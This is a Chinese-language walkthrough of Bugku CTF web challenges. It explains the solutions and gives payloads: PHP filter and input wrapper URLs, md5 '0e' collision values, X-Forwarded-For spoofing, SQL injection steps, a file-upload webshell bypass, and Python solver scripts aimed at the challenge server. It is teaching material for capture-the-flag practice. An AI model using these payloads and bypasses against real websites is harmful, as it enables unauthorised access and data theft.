bugku web write-up

web2

F12

计算器

F12改html

$get $post

? & hackbar

矛盾

很多解法
1加一个符号就行了

web3

F12,发现一串密文,Unicode解码

域名解析

我们百度这个是什么意思

是把域名解析到一个IP地址,然后在此IP地址的主机上将一个子目录与域名绑定。
互联网中的地址是数字的IP地址,域名解析的作用主要就是为了便于记忆。

我们知道我们的网址是192.xxx.xxx.xx这种形式,那为什么我们能用www.baidu.com呢,就是绑定了。

管理员权限打开C:WindowsSystem32driversetchost

你必须让他停下来

抓包,多go几次就看到了

变量1

<?php  

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^w+$/",$args)){
        die("args error!");
    }
    eval("var_dump($$args);");
}
?>

最后一句话的意思是打印出我们要的传进去的值作为变量名
大概意思是,
?args=1
那就打印 $1
?args=dqw
那就打印 $dqw
初步想法是传flag,但是不可能让你那么简单就拿到啊对吧。

这里是引用$GLOBALS
$GLOBALS — 引用全局作用域中可用的全部变量
说明
一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

WEB5

JSFUCK解码
丢到F12里面执行

头等舱

抓包

网站被黑

扫后台,抓包,爆破

管理员系统

这题很鬼,网页源代码的很下面有个base64加密的东西,解密是test123,然后uesr=admin,pass=test123还是错,说IP不行,那就加本地头,X-Forwarded-For=127.0.0.1通过

WEB4

看源代码很容易看懂,就一个escape加密。解密出来为一串函数

function checkSubmit() {
    var a = document.getElementById("password");
    if ("undefined" != typeof a) {
        if ("67d709b2b54aa2aa648cf6e87a7114f1" == a.value)
            return !0;
        alert("Error");
        a.focus();
        return !1
    }
}
document.getElementById("levelQuest").onsubmit = checkSubmit;

很简单了复制粘贴就好

flag在index里

伪协议读取源码

?file=php://filter/convert.base64-encode/resource=index.php
解码

输入密码查看flag

纯爆破

点击100w次

var clicks=0
    $(function() {
      $("#cookie")
        .mousedown(function() {
          $(this).width('350px').height('350px');
        })
        .mouseup(function() {
          $(this).width('375px').height('375px');
          clicks++;
          $("#clickcount").text(clicks);
          if(clicks >= 1000000){
          	var form = $('<form action="" method="post">' +
						'<input type="text" name="clicks" value="' + clicks + '" hidden/>' +
						'</form>');
						$('body').append(form);
						form.submit();
          }
        });
    });

看到这个源码,有个mousedown和up,点击一下clicks加一,然后有个from表单,有一个hidden的post,可以通过post clicks的值改变clicks,那就hackbar

备份是个好习惯

看到备份,看到一串不知道是啥的东西长得像16进制但是转换不出来。
尝试index.php~和index.php.bak,存在bak,打开

<?php
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag."取得flag";
}
?>

看源码我们分析,
1、是有一个replace,会把key代替成后面的空白
2、md5相等

两个知识点,一个是绕过字符过滤,一个是md5的0E相等
空白用双写绕过,0E相等直接百度。
?kekeyy1=s878926199a&kekeyy2=s155964671a

成绩单

最简单的注入
测试发现是单引号注入
order by,table columns 再到字段
这里有一个奇怪的地方,就是order by 能回显四段,但是我怎么放都只能在最后一个地方回显

秋名山老司机

import requests
import re
url="http://123.206.87.240:8002/qiumingshan/"
r=requests.session()
text=r.get(url).text #将get到的数据以文本形式显示出来
cont=re.findall('<div>(.*?)</div>',text) #匹配出计算表达式,返回的是列表
cont="".join(cont) #列表转字符串,因为eval()接收的参数类型为string, bytes or code object
cont=cont[:-3] #删掉多余的字符
post=eval(cont) #eval()可以把字符串当做有效表达式进行计算
data={'value':post} #构造post数据
ans=r.post(url,data=data)
print(ans.text)

在这里插入图片描述

速度要快

F12,看到内容post一个margin,抓包,发现responds里面有flag的base64,但是每次都会变化,而且后面能再解码,我们可以知道,这个应该就是所谓的margin。上脚本。

import requests
import re
import base64
url="http://123.206.87.240:8002/web6/"
r=requests.session()
headers=r.get(url).headers#在header而不是text
print(headers)
cont = base64.b64decode(headers['flag'])
cont= base64.b64decode(str(cont).split(':')[1])
print(cont)
data= {'margin':cont}
flag = r.post("http://123.206.87.240:8002/web6/",data=data)
print(flag.text)

cookies欺骗

进去,一堆乱英文,看到url,有个base64,解码是keys.txt。行数没用,那就估计可能在flag.php或者index.php里面,将index.php加密,放到url上面,改行数,出来源码,一个个找,也可以写脚本找

import re
import requests
for i in range(1,30):
    url='http://123.206.87.240:8002/web11/index.php?line='+str(i)+'&filename=aW5kZXgucGhw'
    r=requests.session()
    text=r.get(url).text
    print(text)

index.php内容

error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
 
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
 
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>

传一个cookie,内容是margin=margin,然后才能访问keys.php

never give up

开始看到一个id=,还以为是注入,看源码发现有个注释,1P.html
进去发现跳转到了bugku论坛首页,看来有个跳转,那就抓包试试,算了懒得抓包了,直接在前面加一个view-source

一串base64,解密看到代码

";if(!$_GET['id'])
{
	header('Location: hello.php?id=1');
	exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
	echo 'no no no no no no no';
	return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
	require("f4l2a3g.txt");
}
else
{
	print "never never never give up !!!";
}
?>

看到这个东西我们先尝试一下能不能访问那个txt,当然这属于偷鸡,好的,可以
很熟悉了,伪协议post $data,弱类型相等,%00截断
id=q,a=php://input,b=%00qweqew

字符?正则?

$IM= preg_match("/key.*key.{4,7}key:/./(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);

开始的/和结束的/,正则表达式标志

.代表数字匹配任意数字,代表匹配0-n次两者结合.就是匹配任一个数字任意次

表示后面的那个字符,而不是代表其他意义的

{4,7}表示匹配前一个字符4到7次

[a-z]就是匹配a-z之间的字符

[[:punct:]]匹配任意标点

/i (忽略大小写)
wp:?id=key1key22222key:/3/keya]

前女友(SKCTF)

右键源码,code.txt

<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    $v3 = $_GET['v3'];
    if($v1 != $v2 && md5($v1) == md5($v2)){
        if(!strcmp($v3, $flag)){
            echo $flag;
        }
    }
}
?>

md5 0e相等,strcmp函数漏洞

login1(SKCTF)

hint 约束攻击,百度

注册加空格

你从哪里来

扫描后台,莫名其妙干扰
看到from google,想到请求头

HTTP_REFERER 编辑 HTTP
Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,
告诉服务器我是从哪个页面链接过来的,服务器基此可以获得一些信息用于处理。 简而言之,HTTP
Referer是header的一部分,当浏览器向web服务器发送请求的时候, 一般会带上Referer,告诉服务器我是从哪个页面链接过来的

md5 collision(NUPT_CTF)

现在没内容了,在南邮有,那就到时在南邮wp再写

程序员本地网站

本地访问
X-Forwarded-For:127.0.0.1

各种绕过

sha1碰撞,可以直接传数组然后返回0就满足条件了,也可以百度sha1碰撞

web8

ac不为空,有一个熟悉的伪协议应用,f没有接口
?ac=1&fn=php://input post1

细心

hint:变成admin,开始想可能是改什么cookie或者能改的
抓包,没用,扫后台,发现robots.txt,进去发现有一个php,进去
看到一句话,if (_GET[x]==$password)
联想到提示,那就x=admin吧

求getshell

这题有点不懂原理,本来以为用%00上传木马然后连接,但是失败了
1、Content-Type 中,方式把部分字母改成大写绕过
2、黑名单白名单,这里尝试php5,绕过成功

insert into 注入

error_reporting(0);

function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];

}

$host="localhost";
$user="";
$pass="";
$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);
原文地址:https://www.cnblogs.com/vstar-o/p/12582891.html